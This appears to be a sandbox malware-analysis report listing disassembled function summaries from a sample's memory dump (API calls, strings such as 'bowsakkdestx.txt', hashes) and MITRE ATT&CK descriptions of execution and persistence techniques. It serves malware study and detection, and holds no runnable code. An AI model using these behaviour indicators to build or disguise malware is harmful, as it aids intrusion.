Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: dc9514dc3cc728d26dfdc447613b7bcea16efd59eca3e38d4ff14dbb98031a68
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: dc9514dc3cc728d26dfdc447613b7bcea16efd59eca3e38d4ff14dbb98031a68
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 26ecba1af734d67abcddf069fb71295571f6332d11be29335550415d4ddae36b
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 26ecba1af734d67abcddf069fb71295571f6332d11be29335550415d4ddae36b
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00820000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00820000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1a8e88c41241774786442443c3d8b035ae5b88e252aa813e21978bd4265d7a9a
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 1a8e88c41241774786442443c3d8b035ae5b88e252aa813e21978bd4265d7a9a
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3212c22ca42dc8f76ade31907e0b7b7a5712c5f7dd988cb95cf67c5494a06c08
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 3212c22ca42dc8f76ade31907e0b7b7a5712c5f7dd988cb95cf67c5494a06c08
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: e5c94bc44cf57a372b92b54ac174d1763daff5f3c1caf4189f35d58b11ed2149
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: e5c94bc44cf57a372b92b54ac174d1763daff5f3c1caf4189f35d58b11ed2149
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
